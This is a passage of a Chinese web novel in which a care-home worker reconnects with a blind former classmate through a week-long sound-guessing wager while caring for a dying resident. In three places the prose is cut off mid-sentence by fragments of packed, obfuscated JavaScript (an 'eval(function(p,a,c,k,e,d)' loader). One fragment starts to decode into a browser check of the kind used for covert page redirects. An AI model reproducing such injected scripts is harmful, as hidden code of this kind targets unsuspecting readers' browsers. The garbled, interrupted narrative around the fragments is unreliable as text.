“没有,他的态度很冷淡,收下东西就关门了。”虞谷秋半真半假地说着,“虽然我不知道你们之间发生过什么,为什么他不愿意来看你,但我想他看了你的东西之后说不定就会改变心意的。” 虞谷秋看着林淑秀骤然明亮起来的神色,心想或许自己有欺骗人的天赋。 但这不一定就真的是谎言,她还有让谎言成真的机会。 ——说不定在她的努力下,真的能让汤骏年改变心意。 从医院离开后,虞谷秋也去花店买了一束花,下班后来到了紫荆花园。 她敲开汤骏年的家门,没有人在,这回她大概知道了,他估计一直都是在店里工作。按摩馆不是固定的朝九晚五,怪不得她总是扑空。 虞谷秋不着急离去,坐到楼下的长椅上等,毕竟她直接跑去店里的话,就会暴露自己知道他工作地的事情,那就说不清了。 这一等,就一直等到了近十二点,温度骤降,冷清的小区刮起冷风。 虞谷秋穿得少了,干脆躲到了楼里,想着在家门口等或许更显诚意。 一路走上去,声控灯也跟着一层层往上亮,最后暗在了汤骏年家的这一层。这一层原本是一梯两户,如今另一户大概已经搬走了,不然不会就这么放着灯坏掉不管。 虞谷秋打开手机电筒坐下来。 手电筒模式耗电严重,手机飞快地往下掉着电,最后直接罢工了。好在今晚月亮很圆,月光也亮,虞谷秋无事可做,盯着黑暗中照亮楼道的一小片月光入了迷。 好美的月光。 人真的很奇怪,会为了一个这么遥远的,与自己无关的月亮而觉得还可以活下去,活到下一轮满月再说,至少她时常会这样想。 不自觉的,她又想起汤骏年。 想起他再也看不见这么美丽的月色。那当他觉得坚持不下去的时候,他该抬头看向哪里呢? 她原先以为他的处境已经很糟糕了,但在看到那个墓碑的时候,她想,原来还只是冰山一角。 胡思乱想之际,安静的深夜里传来一阵呼哧呼哧的小狗的喘息声。 接着是一级一级拾级而上的脚步声。 虞谷秋慌忙转头,荧白的月光中,眼盲的青年正牵着一条导盲犬缓慢地走上来。 飞飞很乖地向上走着,见人也不出声,只是方向上刻意地避开了她所在的位置。 虞谷秋却猛地从阶梯上站起来立正了。 汤骏年听见了这个动静,但并不认为和自己有关,没有停顿地绕过了她。 “汤骏年!” 虞谷秋叫出了他的名字。 一个恍神,穿着校服的少年回头望过来。 再一恍神,她对上的是那双空茫茫的眼睛。 虞谷秋喉头发紧,意识到以现在的身份应该不知道对方的名字,但汤骏年估计会以为是林淑秀告诉她的,并不疑惑,只是皱起眉头,他听出了她的声音。 “你怎么又来了?” 语气不算友善,带着逐客的意味。 虞谷秋不在意:“我给你带了花。” “我说了我不会收她的东西。” “这是我买的。” 他一顿,意外道:“那我就更不能要一个陌生人的东西了。” 陌生人……是啊,陌生人。 一个不会使他随时想起自己过去的陌生人,一个也不会使他联想到虞谷秋的陌生人,因为她将会扮演另一个自己,她是虞谷秋的反面,从前那些虞谷秋不敢做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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想说不是的,不是这样的……她只是想换一种两全的方式,既帮助林淑秀,又帮助他,让他的生活能和往常不一样。 因为当她重新碰见他,她的生活开始和往常不一样了。不再是上班下班拿一叠传单回到冷清的家里,她有了新的盼头,这种感觉很好。 所以归根究底,她想,她只是为了她自己。 她无话可说。 汤骏年听不到她的回答,也不在意她的回答,慢慢离开了月光唯一照着的区域,前方尽黑,那是他的家。 她看着他在黑暗中掏钥匙,手心在门框上下左右试探了几下,熟练地找准了锁孔,不过插入钥匙时却失了准头,歪了两下才打开门。 他没听到她离开的脚步声,拉开门冷声问:“还不走,瞎子怎么回家的没看够吗?” 虞谷秋只是站在那里就被他曲解,或许她该委屈地反驳,但这个当下,胸口被慢慢弥漫开的酸楚堵住了。 这份酸楚不是她的,而来自对面的这个人身上。他看不见,因此他能完全看见别人从精神上对他的俯视,无论对方是谁,似乎只要是眼睛健全的人就有资格这么对他。 她不知道这十年里他感受过多少次那样的俯视,才会让一个从前骄傲的人下意识脱口而出这样的话,用恶意来揣测她。 虞谷秋离开前跟他说:“你知道这一层的声控灯坏了吗?” 他一怔。 “……什么?” 要记得让物业来修一下,不然回家太暗了,她说。 6.第 6 章 虞谷秋起初以为汤骏年是不愿意再接触以前的同学朋友,但经过那一晚,她知道自己想得简单了。 他是不愿意接受任何人的靠近。 虽然她替自己捏造了一个假名,假装自己是截然不同的人出击了一次,但本质上她还是那个很会察言观色的虞谷秋,察觉到对方的抗拒,她心里觉得自己很混蛋,根本做不到无知无畏地再靠近对方。 她不是太阳,是太阳下躲在阴影里的人,谁都不会指望这样的人输送温暖吧。 虞谷秋心安理得地劝着自己,眼下唯一难办的是林淑秀的东西——谎已经撒出去了,留在她手中显然不合适。 要不然只能再最后一次,把它放到汤骏年家门口试试。 隔了几天,虞谷秋在星期五的下班晚上又来到了紫荆花园。 这次她不会再贸然打扰汤骏年,不管他在不在家,打算把东西放下就走。 她踩着声控灯上楼,快走到汤骏年的楼层时灯果然又断在了这里,却隐约有黄色的灯光——是汤骏年家中的灯。 他打开了门,有人正站在他家门口和他说话。 虞谷秋又往上走了两步,终于听清是一个女人的声音——“那天他摔倒了我情绪有点上来,跟你道个歉,这次呢是想好好聊一聊,我们找找解决的办法。” 接着,她听到了汤骏年无奈的声音。 “上次的事我已经说过了,飞飞按照既定的路线走,不是它的错。” 他回复的内容让女人似乎感到不快,语气也不由得加重了。 “那难道是我儿子的错了?孩子天性爱乱动而已。其实也不光我们家,小区里的其他孩子也怕你家这条大狗呀,天天走来走去的,在底下玩都玩不痛快。我们这个小区本来就不允许养狗的,你这个特殊情况大家都很照顾你了。” 汤骏年沉默了片刻,说了句抱歉。 他又道:“飞飞是很专业的导盲犬,它很乖,绝对不会扑人。它是连自己受伤都不会叫出声的狗狗。你们不必有这样的顾虑。” 女人又软下语气:“我不是说它不乖,但凡事都有意外呀,狗毕竟是狗!主要是……你自己也看不见嘛,真的出了大事,你能反应过来?” 汤骏年没有被攻击的恼怒,耐心地回答:“你真的不用太担心,飞飞还有一阵子就退休了。到时候它就会回基地不会再在这里。况且它和我在一起的这几年都没有意外,这么短的时间更不会有什么意外发生。” “意外可不管你什么时间来。” 女人反唇相讥,简单的一句话却让汤骏年不知道再回什么。 见状,她乘胜追击:“我觉得呀,可能是这个小区不太适合你,说不定你可以搬去一个大家都养狗的小区……” 虞谷秋看不清汤骏年的神情,只是觉得此情此景和那时的按摩店很相似,他站在光线昏暗的阴影里被高高架起,要他点头同意。 不同的是,这次她不想再做一个旁观者了。 毕竟她是“吴冬”。 虞谷秋快步上前,不客气地插了一声:“那为什么不是你搬呢?” 女人诧异地回头:“……什么情况?你是谁?” “我……我是他的新朋友。” 汤骏年也同样惊讶地微抬起头,努力朝着她的方位看过来。 “哦我说呢,之前没见过你。”女人上下扫视了她一眼,“你既然是他的朋友,那更应该为他着想啊?我的建议你仔细想想吧,是为他好。这是老小区,都没电梯,他一个看不见的上下楼梯多不方便。” 虞谷秋听着她振振有词,那架势逼真得仿佛真有几分热心。 她心头冒火,语气不佳道:“就算是不方便的楼梯,他和他的导盲犬已经走习惯了,贸然改变你知道要更不方便吗?更别说狗狗是需要训练新的路线的!你冠冕堂皇两嘴一张为他好的提议实质上是纯粹的利己主义——你只是想赶走那条导盲犬。” 女人脸色慢慢涨红。 “行,既然你说话这么难听,那大家都敞开了讲!他不方便,难道我们就方便了?要是我们方便搬早就搬了,还不是为了孩子上学!他瞎子他看不见就是弱势群体,那我们挣钱不容易为了学区房为了孩子的未来我们也是弱势群体啊!没有非得让的义务吧!” “……如果今天是你的小孩失明呢?”虞谷秋克制着自己的愤怒,“有人要让你们从这里搬出去,你搬吗?” 女人立刻脸色骤变,嗓门也变大了。 “你这个人怎么良心这么坏啊!随便咒人孩子,你小心自己遭报应!” “我愿意搬走。” 与女人激烈的话语相比,汤骏年冷不丁的声音很轻微,却让场面瞬时安静下来。 虞谷秋是恨铁不成钢的失语,女人则是目的骤然达到的无措。 然而,下一句却是——“但我不会为了你,还有你那个无理取闹的孩子搬走。” 汤骏年顿了顿,接着又说:“你先进来。” 虞谷秋愣了几秒,才意识到这句话好像是对她说的。 对即将要进入他家这件事感到晕头转向,虞谷秋晕乎地哦了一声,刚踏入他的家,手腕就被他轻轻拉住,像被云层触碰到一般,他将她带到了身后,同时砰一声,他另一只手甩上了门,将面色奇差的女人关了出去。 门里门外一同安静下来。 汤骏年倏然松开手。 “抱歉……等她走了你再走吧。”他面无表情,“毕竟我不能把‘新朋友’关在门外。” 无意识揉上手腕的虞谷秋这时候想,幸好他看不见。 她假装听不懂他的阴阳怪气:“你这话是承认我们是朋友吗?” “看来你上学的时候语文应该不太好。” “让你失望了,我高中的时候语文是最好的。有一次作文还拿过满分!” 那篇作文作为例文全年级纷发下去,你还读过呢。不过……你一定不记得这回事了,但我还记得你看完后对我说过一句,也许你之后会当作家呢。而我说,谢谢你啊,你以后一定也会当上科学家。 汤骏年,我们都没有变成理想中的大人。但在这间窄小的屋子里仍能和你见面,是我觉得长大也不算糟糕的一件事。 虞谷秋凝视着汤骏年的脸,在心里默念着。 他的屋子里漂浮着清新剂的气味,整间客厅一张沙发,一张茶几,远处一张小方餐桌,台面上放着一杯没喝完的水。 沙发腿上有一块被狗狗磨旧的痕迹,一条对折齐整的蓝色毛毯放在靠枕边,狗狗正趴在沙发边的小窝里熟睡,它的身上也盖着一条蓝色小毛毯,看上去像是亲子毯。 至于木茶几上,正放着一张散开的CD和一台CD机。 那张散开的CD封面是深蓝色,一张黑白人像的侧脸,是坂本龙一的电影配乐精选集。 她知道其中有一首叫作《圣诞快 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“你今天是不是带了她的东西过来?”他忽然问。 原来他早已经了然了?虞谷秋哑然,点点头,意识到他看不见,转而嗯了一声。 汤骏年接着问:“你是不是还有什么没告诉我的?” 虞谷秋心头一跳,心想我没告诉你的事可不止一件。 她装傻道:“什么意思?” “我不懂你为什么这么执着三番两次来找我,除非她生病了,而且很严重,对么?” 闻言,虞谷秋差点咬到舌头,明明答应过林淑秀,此刻说是不对,说不是也不对。 但她的沉默本身就是回答了。 最终虞谷秋叹了口气,近乎承认地问:“如果是这样,你会去看她吗?” 空间陷入难言的安静,夜里有蚊虫在飞的声音都慢慢清晰起来。 汤骏年拧起眉头,大概思绪正在打架,不知哪一方战败了,脸上流露出无奈。 “不会……”他喃喃,“不过我可以接受你的赌约。” “真的?!” “真的。”他话锋一转,“但我要改变一下赌约。” 他能松口就是转机,虞谷秋很大方地答应。 “你要怎么改?” 汤骏年想了想:“光我来猜,不够公平。” “你的意思是……你也会让我来猜?” “嗯。哪怕我猜错三次,只要你错得比我多,也算我赢。你带着她的东西走,别再来找我。” “……成交!” * 虞谷秋有时候觉得,命运的确是有剧本的。 她本来把这次去紫荆花园当作最后一次,甚至没奢望过还能再见到汤骏年,但偏偏峰回路转,一下子又多给了她七天,让她有机会完成林淑秀的愿望,也让她有机会再和他多联系七天。 仅有七天,还有七天,够用了。 《圣经》上说神创世也不过七天。她不敢自比于神,但或许同时也能够创造一个用声音将她和他连接在一起的,很微小的世界。 那些有关于她自己的,那些他看不见便不再关心的,那些能够让他想要更明朗地活下去的东西。 一厢情愿也好,她想给他那些像是抬头就能看到的月光一样的东西。 7.第 7 章 然而赌约开始的第一天,虞谷秋就出师未捷。 她因为思考第一天该录下什么声音给汤骏年,在床上翻来覆去当了一晚上的烙饼,毕竟第二天轮休,她倒也不在意晚睡。 却没想到第二天一早,床边的电话就火急火燎响起来了。 一看到是院长打来的电话,这通常代表养老院有特殊情况,虞谷秋心头一惊,立刻清醒了。 “喂!” “小谷啊,打扰你休息了吧?” “没呢,我已经醒了。” “那太好了,你现在去市三院一趟可以吗?林淑秀昨天说要办理出院回来,我们都说不动她,你去劝劝,实在不行就帮她办出院手续接她回来吧。” “……好。” 虞谷秋匆匆套上衣服来到医院,先去找了主治医生了解情况。 “我们当然是希望她能留下来的。目前癌细胞已经扩散,但她身体的耐受性不太支持进一步手术或者化疗,所以我们建议住院进行保守治疗。但是她本人听说保守治疗后就坚持出院……我们也尊重她的选择。她之后可能会出现肠梗阻、出血等等急性情况,到时候还是要再送医,你们多多注意。” 虞谷秋步履沉重地来到走廊,看着病房门迟迟不敢进。 她来回踱步,在心里拼命打腹稿,总分总论述要如何劝服林淑秀——林淑秀的嘴皮实在厉害,她怕自己不一口气说完就说不完了。 进去时病房里医院护工已经给林淑秀换下病服,将她抱到了轮椅上。她对着进门的虞谷秋露出自傲的神色,炫耀说:“我这身衣服不错吧?前两天在直播间买的!” 隔壁床的阿姨解放地欢呼:“赶紧走!我总算可以清静了!” “你就嘴硬吧,昨晚明明还想让我给你下单。”林淑秀白她一眼,又期待地转向虞谷秋,“食堂今晚有没有梅菜扣肉啊?” 虞谷秋叹了口气:“都说了不能吃那么油腻的……” 隔壁床的阿姨吞咽着口水又探出头:“梅菜扣肉?!我也好想吃啊!” 林淑秀大手一挥:“这还不简单,我叫个闪送给你匀一份过来,你瞒着你家孩子偷偷吃呗。” “能行吗?被他们发现我可惨了,念叨一天不带停的。” “你自己想吃就吃呗,管他们!” 虞谷秋听着两位女士兴致勃勃地商讨着,病中的气色都显得有神两分——谁能想到她们讨论的仅仅是一块梅菜扣肉呢。 阿姨纠结一番,最后摇头道:“还是算了吧,我女儿为嘴馋这个骂过我好多回了……谢谢你啊。”她冲林淑秀摆摆手,“还是羡慕你呢,没儿没女,想做什么做什么,特自由。” 林淑秀笑容淡了些,没再说话了。 * 办好出院手续,虞谷秋准备叫车回养老院时,林淑秀却拿过手机,擅自更改了目的地。 “先去这里。”她一锤定音。 “这里……?” 地址输入的和平路三号,虞谷秋一头雾水,听林淑秀说:“这是阿根廷探戈舞的俱乐部,周末有Milonga的舞会。” “阿根廷探戈?”虞谷秋吃惊地问,“您还会这个?” 林淑秀大笑起来。 “我年轻的时候爱好跳这个,那时候都没什么俱乐部呢,我和妹妹都是拿一个收音机在露天的晚上瞎跳,有时候她跳女步,有时候我跳女步……现在的时代越来越好了,以后会更好吧。” 林淑秀看着车窗外流过的街景,每一天都会有细小的变化,这就是这个时代。 “不过我能看见的日子就到这里了。” 她情绪变化得非常快,前一秒还生龙活虎,这一秒却让人感觉到遗憾。以致于虞谷秋觉得说什么都很苍白。 林淑秀看了眼她的表情,又大笑起来。 “你现在这表情可太逗了,别安慰我,我不是怕死。”林淑秀降下一点车窗,舒服地眯起眼睛,“我腿出事的时候就很想去死了,但不敢死呀。现在老天爷帮我一把,我谢谢他还来不及。” 车子驶入和平路,很快停在了一栋三层小洋楼前。 虞谷秋在司机帮助下将林淑秀挪到了轮椅上,一路推着进了门,远远就听到了舞曲在流淌。 这还是她第一次来这种俱乐部,推开门的景象让她颇为震惊——飞扬,她的脑子里蹦出来这样两个字。 一间曾经是传统舞厅改建的屋子,空间并不大,但到场的人不少。男男女女,年轻年长者都有。有的穿了探戈的裙子和西装,有的就很随意,卫衣运动服就来了,这让穿着薄针织的虞谷秋觉得自己好像也可以完美融入这个气氛中。 最让她吃惊的是他们对于坐着轮椅的林淑秀并未多看一眼,一点不意外一个双腿都残疾的人来舞房有什么不对,他们都全然沉浸在音乐和舞蹈中,成双成对地旋转着。 虞谷秋将林淑秀推到角落,她也没有问她既然跳不了为什么要来,只是陪她安静地看着众人跳舞,却没想到林淑秀推了她一把,扬扬下巴说:“你不去试试吗?” “我?”虞谷秋连连摆手,“我一点不会。” “那个穿裙子和西装的就是教练,你去跟他们报名。” “我是陪您来的,对这个没什么兴趣。” 她以为这话或许会惹林淑秀生气,她也许会嚷嚷着向她灌输探戈有多棒云云,但林淑秀却没勉强她:“那好吧,你就陪我在这儿无聊地多看一会儿吧。” 舞池里的人们旋转、靠近、贴合、远离,最后又再度拥抱。 一曲结束,虞谷秋下意识地抬手鼓掌。不远处的一个穿卫衣的男人看过来,他和她一样落单,在边上看着,这时干脆向她走过来发出邀请。 “要一起跳一首吗?” 虞谷秋尴尬道:“我不会。” “你第一次来吗?” “嗯。” 他很乐观地表示:“我是第二次来,也不太会。菜鸟互啄,那我们互相踩到对方也没关系了!” “不用了……你还是找别人吧。” 虞谷秋表示歉意,他看向林淑秀,恍然道:“你是要陪妈妈吧?” 不等虞谷秋澄清,林淑秀先翻了个白眼给他。 “我还没结婚,你怎么还给我造谣个女儿出来。” 对方一愣,虞谷秋忍笑着附和。 “我们林淑秀女士六十一枝花呢,我妈妈可没她这么好看。” “抱歉抱歉……” 他连连鞠躬,以一种太空步的姿势很好笑地挪走了。 虞谷秋正乐着,林淑秀侧过头看她一眼:“小谷啊,你妈妈真的没我好看吗?” “真的。” 林淑秀咧开嘴,得意地点点头。 虞谷秋站得有点累了,从旁边拖了把凳子过来坐到林淑秀身边。 下一首舞曲开始了,那个落单的倒霉小子仍旧落了单。 虞谷秋的眼神追着人群旋转,慢慢地继续开口说:“她半边脸都有烫伤的疤。不过现在医美发达了,说不定她有做治疗。” “说不定……?你爸妈离婚了?” 虞谷秋摇摇头。 “他们应该还在一起吧,生了一对双胞胎,一家四口。”她轻快地说,“只有我生下来不到一百天从他们身边被送走了。” “这样啊。” 林淑秀并没有表现出任何多余的情绪,只是淡淡地点着头,说着这样啊。 这份平静让虞谷秋心安,她放下担心,跟着点点头,笑着说:“不过我挺幸运的,收养我的家庭,也就是我现在的妈妈爸爸,他们生育方面有点问题。后来他们说我是福星,因为不到一年居然奇迹地怀孕了。但是他们最后没有把我送走。” 林淑秀说:“那你很厉害了,有四个妈和爸。” “是啊,有四个呢。”可没有一个人记得她的出生日期了,“只不过有时候,我觉得自己是一根饭店里被打翻的筷子。” 在饭店里吃饭时打翻的筷子,要么就那样掉在地上,要么被好心捡起之后搁置在一边,几乎不会有人将它再握进手心了。 灯光昏暗下来,舞曲到了慢拍,全场的人们头依偎着头,亲密地靠在一起。 林淑秀伸出衰老的手,摸索到虞谷秋细瘦却有力的手背上握了握——这是一双干了很多活却几乎没怎么好好休息过的手。 虞谷秋垂下头说:“谢谢您,还没跟您说过那碗长寿面很好吃。” “那是我不要的,你谢我干什么。” “哦,好吧。” “食堂真的做得好吃吗?” “很好吃。” “比梅菜扣肉还好吃吗?” “嗯。” “早知道就不让给你了。” 灯光最昏暗的时候,有眼泪滴到两人交叠的手背上。 *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杨芩扯着嗓子对服务员喊送双新筷子来!喊完一扭头,诡异地发现虞谷秋正点开手机的录音,然后伸手将另一只好端端的筷子跟着扔了下去。 聚餐到尾声,大家在餐厅门口道别时,虞谷秋的微信小号里弹出来一条消息,来自于列表里躺着的唯一的账号。 仍是那个灰扑扑的微信默认头像,没有任何朋友圈记录的汤骏年。他像是想故意让任何人都认为他不再使用似的。 他发来的是一条语音,虞谷秋沿路往回走,一边迫不及待塞上耳机,听到他的回答:“是筷子掉到地上的声音。” 虞谷秋设想过盲人的听力很好,但是环境音乱糟糟的,他怎么能如此笃定呢? 感到有丝挫败,她不甘心地诈他,也用语音反问。 “你确定是筷子吗?” “确定。” “要不然你再想想?” “不用了,我对这个声音很熟悉。” 到此,虞谷秋便不再挣扎了。 她忍不住猜想,是不是刚失明那阵子他不熟悉碗筷位置,经常把它们弄掉。 “……好吧,你答对了。” 令她意外的是,汤骏年问她:“为什么会选择这个声音?” 他的语气听不出是对她出如此简单题目的挑衅,还是只是单纯好奇。 虞谷秋思索了一会儿,改用文字发送。 「我总是会注意到筷子掉到地上,所以作为开场白,我选择了我比较熟悉的声音给你。」 过了一会儿,汤骏年发来比她稍长两秒的录音。 “给你的考题。”他说。 虞谷秋点开手机,传来的声音很轻微,疑似翅膀在扑愣。 她不太自信地报出猜想。 “是小鸟在飞吗?” “正相反。”汤骏年说,“是它刚好落在我的窗前。” 她怀疑:“……这你都区别得出来呀?” “起和落的动势是不一样的,有细微的区别。” “……好吧。” 她想了想,也问他,“那你为什么选择这个声音?” 汤骏年却没有回了。 又过了好一会儿,虞谷秋换乘地铁到了家,手机叮咚一声。 汤骏年也改发了一条文字消息过来。 「小鸟也落地了,但它会自己飞走,飞去哪里都可以。」 莫名其妙的,她却好像读懂了他的潜台词,或者说她从中这么擅自理解着—— 不要去注意筷子,注意小鸟吧。 不要去做筷子,做小鸟吧。 8.第 8 章 第一天的比试,没有意外地是虞谷秋输了。 这也难免,汤骏年用耳朵听了那么多年,听力自然比她强出许多。而第一天时间匆忙,她所录制的筷子掉地其实是一瞬间的福至心灵,并不是精心想到的。 明明想出这个赌约,雄心壮志地说着要带给汤骏年一些不一样的东西……当下是激情澎湃的,冷静下来后才发现脑袋空空。完全是十几岁时候计划着远大未来的自己,这么多年过去了也并没有什么长进。 这七天的录音,她从开头就只确定了一种,是那天去按摩馆时那位盲人女技师启发她的灵感——宇宙的声音。 后来她在网上搜索相关的展览,还真让她找到了一个展,名字叫“宇宙和声”。 展览将太空望远镜观测到的各种声波转为音符,将天文数据不止保存成图像被大家看到,更能被听到。 看到这个展览简介的第一眼,虞谷秋就立刻买了早鸟票。而且她运气很好,刚好开展日期在一周后,赶得及让汤骏年听到。她深信虽然汤骏年现在和天文毫无关系了,但他内心依然留有一部分对于天文的喜爱。那如果看不见天文图像,她就想办法让他听到。 至于剩下的五天,她内心有许多想法,但想法太多有时候也就等于没有想法。 不过眼下倒不是考虑这些的时候,今天她是白班,虞谷秋洗完脸,将思绪清空,按部就班地来到养老院开始一天的工作。 到午休的时候,她本想午睡一会儿,但不放心刚出院的林淑秀,想了想决定去她房间一趟。 这个点大部分老人都在午睡,院里很安静,精神头好一些的提前约着去了麻将室搓麻,或者做一些自己的兴趣爱好。林淑秀从来不参与他们,虞谷秋之前以为她是没什么爱好,现在才知道她是没办法再做她的爱好。 她来到房间时,林淑秀并不在床上休息,躬着背吃力地翻箱倒柜。虞谷秋一惊,连忙把人扶到一边。 “您找什么呢?我来就行。” 林淑秀倒也不客气,指挥说:“我也记不得放哪儿了,满春园的月饼铁盒子,诶诶,上面两个我翻过了。” “噢,那我找找下面。” 虞谷秋合上刚打开的柜门,蹲下身,在林淑秀一堆乱七八糟的行李中寻找她口中的铁盒子。 手心依次拂过一只深红色皮革舞鞋带,一本西班牙语辞典,一瓶还有三分之一的香水,两件旧旧的毛衣,过去开的没有吃完的药片,黑色的染发膏,没有拆封已经过期的茶包,还有自录的旧磁带,白色胶布上晕开的蓝色钢笔写着1981年Buenos Aires舞曲选。 林淑秀没有自己的房子,跟随她的家当都在这里。虞谷秋一一摸过这些,恍然意识到这些碍事的物件可以包含她的一生了。 初秋的天气,虞谷秋找出一身汗,终于在柜子最深处摸到了一只手感生凉的铁盒。 “找到了!” 她高兴地把盒子抽出来,上面印着满园春三个字,就是它了! 林淑秀此时神色恹恹地上了床,角度调成半直,她靠着床,眼睛要合不合。 “您困了?那我把东西放在这儿。” 虞谷秋压低声音,把东西放在床头柜上,林淑秀却伸手示意她坐下来。 “我是有点困,但不想睡,不然晚上就睡不着了。” 她努努嘴,示意虞谷秋把铁盒打开。 “里面有一些信,你随便挑一份读给我听吧。” “哦……好。那我就随便挑了?” 虞谷秋从中抽一封云朵图样的信封,奇怪的是信上并没有收件人和地址。 展开信纸,积放在信纸间的尘埃随之飞舞在空气中,她开始轻声朗读。 「姐姐: 有很长一段时间没写信给你了,毕竟我们已经不都是十多二十多岁时有那么多话可讲的年纪,而现在我生活里的那些杂七杂八讲给你你肯定也不爱听。但除了你,姐姐,我不知道还能跟谁讲。 虽然这封信你也并不能看到。 你是我生命里最亲近的人,却也是我生命里最形影不离的假想敌。 我总是在想,我如果当初不总暗自和你做比较,我是不是就不会生下小年?我痛快地离婚,孑然一身轻,也许此时可以和你一样去阿根廷住上一段日子……想到这里,我意识到自己又不免在和你做比较了。 我总是渴望和你不一样,才那么草率地结婚,想要证明我选择的路是更对的,人过了三十当然得成家立业,这是他们告诉我的。但事实你也看到了,并毫不留情地怪我。明明是那个男人的错,为什么你先指责的人是我呢?你没有先过问我一句很受伤吧,而是说活该。 因为这一点,我至今仍不愿意原谅你。而你也不原谅我的鲁莽。 但我还是想告诉你,我心里的某部分已经原谅你了,不然我不会用你留下的名字作为小年的名字。 但他并不姓孟,也不姓林,我不想他继承那个男人的姓,也不想用我们的姓,我们的姓是爸爸的。最后我想起了妈妈的姓,汤。并且这样做,我可以把这个孩子当成我的弟弟,而不是我的儿子。 我没法对他有好脸色,他是我识人不清的恶果,害我的身体也吃了那么多苦。数不尽的恶心,失眠,他却只知道哇哇大哭,像一个憎恶的讨债鬼。 不知道我上辈子欠了这个人什么债?逼他用成为母亲这一酷刑惩罚我。 但我只敢和你说这些,姐姐。在别人面前我不敢说半点我不爱这个孩子一个字。我不知道是谁说的母亲必须爱她的孩子,难道是我们的妈妈给我们的错觉吗?我想,也许妈妈也只是在我们面前撒谎,所有的母亲都在对世界撒谎。 这样的谎言让我很痛苦,让我觉得我不配是一个母亲,一个女人。我开始酗酒,就像爸爸一样。 这个时候我才发现,虽然我那么恨爸爸,可我骨子里居然真的是他的孩子。 我模仿着他对我的样子对小年,但我比他好,我至少不会打他,我下不去手。更何况我如果打他,他该怎么办呢?没有人会像姐姐你那样冲到我跟前用身体保护我那样保护他,我绝对不能这样。 尽管如此,那孩子也不会凭借这一点感谢我的,他应该恨我才对。我的的确确是个不称职的妈妈,连去接他放学也因为喝醉误了时间。那天我没接到他,幼儿园门口空无一人。 我脑子里一片空白,接着开始胡思乱想新闻上拐卖孩子的案件……我以为我的人生从结婚开始就已经掉入深渊,婚礼那天的红炮仗就是一种预示,那么浓的硝烟味,为什么大家会在结婚时放这个?我当时很觉得奇怪,现在才发觉那不是为了庆祝,战场上才有硝烟,对吧?婚姻就是战场的开端,我的人生从此输得一败涂地,却没有想到这一刻才是掉到底。 我以为我一点也不爱这个孩子的。 万幸的是小年没有发生意外,他自己很乖地回家了。我到家时,他小小的身体正在拿着抹布擦地,空气里漂着清新剂的味道,我留下来的酒味太臭了。 我第一次想打他一巴掌,想骂他为什么不听话留下来等妈妈。 虽然失约的人是我。 我看着他,小年也抬起头看着我说,妈妈,我给你热了牛奶。 明明该是我督促他喝牛奶不是吗?我抬起手,那一巴掌最后落到了我自己脸上。 姐姐,我想戒酒了。 我以后要和小年一起每天喝一杯牛奶,我希望他长得高高的,像树一样挺拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虞谷秋回到家,或许是被林淑秀传染了,她也开始翻箱倒柜,翻出了一件压箱底的玩具,大富翁。 这本来是弟弟的玩具,他拉着她玩了几次之后就腻了,说着送你啦,便成为了她的玩具,也是她童年时唯一的玩具。 虞谷秋颇为怀念地抚摸着盒子,一个念头莫名涌上来。 她将大富翁左右摇晃的声音录下来发给来汤骏年。 他大概是在工作,到了深夜才回复这条消息。 这次变得不那么确定了。 “是什么卡片的盒子吗,桌游?” 虞谷秋傻眼,没想到他如此接近答案,只得硬着头皮说:“要说出具体名字才算正确。”她怕自己有点耍无赖,补充说,“不是小众的,很好猜。” 过了一会儿,汤骏年发来答案。 “狼人杀吗?” “错了!”虞谷秋松口气,“是大富翁。” “……原来如此。” “你以前玩过吗?” “很少玩。” “那就是会玩了。” “怎么了?” “你想不想玩一局?” 微信开始一片沉默,这就是汤骏年间接拒绝的方式。 就在虞谷秋差点以为他不会再回时,手机一震。 “这个没有支持盲人对战的软件吧。” 见他似乎并没有一口回绝的意思,虞谷秋不免精神振奋起来。 “无所谓,我有别的办法可以玩。只不过需要打电话。” 虞谷秋握紧手机。 “汤骏年,现在可以打电话给你吗?” 9.第 9 章 她想,他应该会拒绝自己的,就像他从前拒绝别人一样。事实也果然如此,他找借口回复说不太方便。 因此虞谷秋也没太大失落,不如说他痛快同意才会让她感觉奇怪。 “没关系,那下次吧,这次我就先自己跟自己玩了。” 她故意地说了最后并不必要交代的那句。 果然,这句话引起了汤骏年的好奇心。 “自己怎么玩?” “很简单啊,左手和右手。” “……不无聊吗?为什么不去网上连线玩?” “不无聊呀,我从小就这么玩。那些都是陌生人,还不如和自己。” 说着这句话时,她的眼前浮现着信中那个小小的拿着抹布拖地的汤骏年,如果是他的话,或许可以理解自己的那份心情。 所以她有意地将这一面袒露给了他。 对面沉默了片刻,汤骏年说:“我们也不过是点头之交。” “偶尔会这样联系的点头之交应该可以升升级了吧?比如君子之交。古代的君子下棋,现代的君子就玩大富翁。” 歪理正说,汤骏年大概拿这样的胡搅蛮缠没辙,干脆不再回复了。 虞谷秋遗憾地放下手机,洗漱完敷面膜,在沙发上半躺着等面膜干,困意逐渐上涌。 脑海里有个意识催促着自己赶紧起来收拾完去床上,但另一个自己懒洋洋地摁住身体,大不了地说着睡在沙发上也无所谓吧,自己一个人想干什么就干什么。 就是这个时候,耳朵灵敏地捕捉到了消息的提示音。 已经耷拉下去的眼皮飞快地上抬,她摸索着摁开屏幕,听清消息的瞬间心头一跳。 “那就来一局吧。” 虞谷秋登时弹射地直坐起来,面膜的黏液滴滴答答地滑到脖子里也顾不上。 “现在吗?” “嗯,你方便吗?” “好,那我打给你吧!” 她迅速掀开面膜,胡乱拍了拍自己的脸,把大富翁摊开做好准备,接着,按下绿色的通话键。 漫长的嘟嘟声响起。 